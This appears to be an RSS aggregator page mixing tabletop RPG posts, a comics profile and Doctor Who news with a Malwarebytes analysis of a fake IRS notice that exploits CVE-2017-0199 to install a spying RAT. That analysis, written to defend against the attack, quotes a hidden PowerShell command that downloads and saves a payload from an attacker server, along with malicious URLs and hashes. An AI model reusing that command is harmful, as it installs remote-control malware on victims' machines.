Tentacle Rod; roll of 14, bag of something weird: A bag of beaks. As an action, you can throw up to 3 beaks (range 15): make a ranged attack with a +9 bonus. On a hit, each beak does 1d6 piercing damage. If you hit a target with all 3, you do all the fun Tentacle Rod stuff (DC 15 Con save or be agonized till it makes its save, etc).

Spell scroll (Ray of Frost); roll of 20, gem: A frost-covered sapphire. Throw it on the ground to shatter it and a Ray of Frost leaps out at a target of your choosing.

Saddle of the Cavalier; roll of 9, key: a horsehead-handled key. While you’re mounted on any beast with a saddle, you can magically insert the key into the saddle and lock or unlock it. While the saddle is locked, you can’t be dismounted and attack rolls against the mount have disadvantage.

Categories: Tabletop Gaming Blogs

[STUFF] Zuard Castle: Domains of the Faerie Princes (LVL 1)

Beyond Fomalhaut - Thu, 09/21/2017 - 15:06
Beware the bucket! This dungeon level was created in response to Jon Salway's challenge to reimagine the Dungeon of the Ground Goblins with a minimal OD&D key. There will no doubt be many entries, but this is mine, created in a quiet hour on a rainy afternoon. The main challenge was to make it all fit in a typewriter font, and with a little nudging, it worked out. There are traces of both the original and Paul Cook's revision in there, and references to dungeon levels and puzzles you will never see (probably). It is probably a bit heavier on flavoured encounters than a real OD&D megadungeon would be, and way more densely packed, but them's the breaks.Download (400k)
Categories: Tabletop Gaming Blogs

KNOW YOUR MIGHTY CRUSADERS: Jaguar II

First Comics News - Thu, 09/21/2017 - 15:04

Created by:

Ian Flynn & Ben Bates

Real Name:

Ivette “Ivy” Velez

Relationship to Predecessor:

Zoological Apprentice

Joined New Crusaders:

New Crusaders: Rise of the Heroes #1

First Appearance:

New Crusaders: Rise of the Heroes #1,
October 2012

Origin:

Ivette had a rough start in life, suffering the loss of her parents when she was only an infant. This led to her forming a close connection with her mentor, Ralph Hardy (aka Jaguar). Despite her shy nature, Ivette longs to make new friends.

Powers & Weapons:

Jaguar Helmet.

Checklist:

Red Circle:
New Crusaders: Rise of the Heroes #1-6
New Crusaders Preview Mini-Comic
New Crusaders: Rise of the Heroes TPB

Dark Circle:

New Crusaders: Dark Tomorrow Special #1

TEXT: Ian Flynn

Categories: Comic Book Blogs

Fake IRS notice delivers customized spying tool

Malwarebytes - Thu, 09/21/2017 - 15:00

While macro-based documents and scripts make up for the majority of malspam attacks these days, we also see some campaigns that leverage documents embedded with exploits. Case in point, we came across a malicious Microsoft Office file disguised as a CP2000 notice. The Internal Revenue Service (IRS) usually mails out this letter to taxpayers when information is incorrectly reported on a previous return.

Victims that fall for the scam will infect themselves with a custom Remote Administration Tool. A RAT can be utilized for legitimate purposes, for example by a system administrator, but it can also be used without a user’s consent or knowledge to remotely control their machine, view and delete files or deploy a keylogger to silently capture keystrokes.

In this blog post, we will review this exploit’s delivery mechanism and take a look at the remote tool it deploys.

Distribution

The malicious document is hosted on a remote server and users are most likely enticed to open it via a link from a phishing email. The file contains an OLE2 embedded link object which retrieves a malicious HTA script from a remote server and executes it. In turn, it downloads the final payload, all with very little user interaction required since it is using CVE-2017-0199, first uncovered in April 2017 as a zero-day.

82.211.30[.]108/css/CP2000IRS.doc

The embedded link points to an HTA script hosted under an unexpected location – a Norwegian company’s compromised FTP server – which invokes PowerShell to download and execute the actual malware payload.

ftp://lindrupmartinsen[.]no:21/httpdocs/test/template.hta "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient) .DownloadFile('http://82.211.30[.]108/css/intelgfx.exe', 'C:\Users\[username]\AppData\Roaming\62962.exe'); Payload

The downloaded payload (intelgfx.exe) extracts to several components into a local folder and achieves persistence using a decoy shortcut. The VBS scripts ensure that the main module runs without showing its GUI, in order to remain invisible to the victim.

RMS agent stands for Remote Manipulator System and is a remote control application made by a Russian company. It appears that in this case, the attackers took the original program (as pictured below) and slightly customized it, not to mention the fact that they are using it for nefarious purposes, namely spying on their victims.

Its source code shows the debugging path information and name that they gave to the module.

Office exploits and RATs

This is not the first time that CVE-2017-0199 is used to distribute a RAT. Last August, TrendMicro described an attack where the same exploit was adapted for PowerPoint and used to deliver the REMCOS RAT. It also shows that threat actors often repackage existing toolkits – which can be legitimate – and turn them into full-fledged spying applications.

We reported the compromised FTP server to its owner. Malwarebytes users were already protected against CVE-2017-0199 as well as its payload which is detected as Backdoor.Bot.

Thanks to @hasherezade for help with payload analysis.

Indicators of compromise

Word doc CVE-2017-0199

82.211.30[.]108/css/CP2000IRS.doc 47ee31f74b6063fab028111e2be6b3c2ddab91d48a98523982e845f9356979c1

HTA script

ftp://lindrupmartinsen[.]no:21/httpdocs/test/template.hta d01b6d9507429df065b9b823e763a043aa38b722419d35f29a587c893b3008a5

Main package (intelgfx.exe)

82.211.30[.]108/css/intelgfx.exe 924aa03c953201f303e47ddc4825b86abb142edb6c5f82f53205b6c0c61d82c8

RAT module

4d0e5ebb4d64adc651608ff4ce335e86631b0d93392fe1e701007ae6187b7186

Other IOCs from same distribution server

82.211.30[.]108/estate.xml 82.211.30[.]108/css/qbks.exe

The post Fake IRS notice delivers customized spying tool appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Seven of the Ten Bestselling Titles on RPGNow are OSR Titles

Tenkar's Tavern - Thu, 09/21/2017 - 14:04

Wow. Look at the above screenshot.

#1 - Astonishing Swordsmen & Sorcerers of Hyperborea

#2 - The Forbidden Caverns of Archaia

#3 - White Star: Galaxy Edition

#5 - Villains & Vigilantes 3.0 Mighty Protectors

#8 - B/X Essentials: Core Rules

#9 - BLUEHOLME: Journeyman Rules

#10- Wormskin Issue #7

7 out of 10 of the current best sellers at RPGNow are OSR / Old School releases. Interesting.

One DriveThruRPG? 1 out of 10.



Yep, that's an affiliate link right above this. 5% of all sales go to support The Tavern. Thank you in advance.
Categories: Tabletop Gaming Blogs

BIG FINISH: Alex Kingston Returns for 3rd Instalment of ‘The Diary of River Song’

Blogtor Who - Thu, 09/21/2017 - 13:41

Big Finish has announced today that the Doctors Missus is back! Alex Kingston will reprise her role as the Doctors wife River Song in a third series of audio adventures. On TV River Song has met – through her wibbly wobbly timeline – the Tenth, Eleventh and Twelve Doctors. Now Big Finish is taking this charming […]

The post BIG FINISH: Alex Kingston Returns for 3rd Instalment of ‘The Diary of River Song’ appeared first on Blogtor Who.

Categories: Doctor Who Feeds

REVIEW: Titan Comics Twelfth Doctor Wolves of Winter Part 3

Blogtor Who - Thu, 09/21/2017 - 11:00

The Doctor faces the Haemovores, the Flood and a defeated adversary who re-emerges to achieve a new plan that sets to give the Doctor one of his toughest chess matches yet. As the Doctor discovers the origin of the cursed treasure, he sends Bill to ask the Ice Warriors to leave as the mountain range […]

The post REVIEW: Titan Comics Twelfth Doctor Wolves of Winter Part 3 appeared first on Blogtor Who.

Categories: Doctor Who Feeds

Azurth Adventures Digest Review

Sorcerer's Skull - Thu, 09/21/2017 - 11:00
Over at Enworld Chris Helton has a review of the Azurth Adventure Digest. Check it out if your still on the fence about purchasing it. You might want to hurry, though, I have less than 30 copies of the print copy left in this printing.

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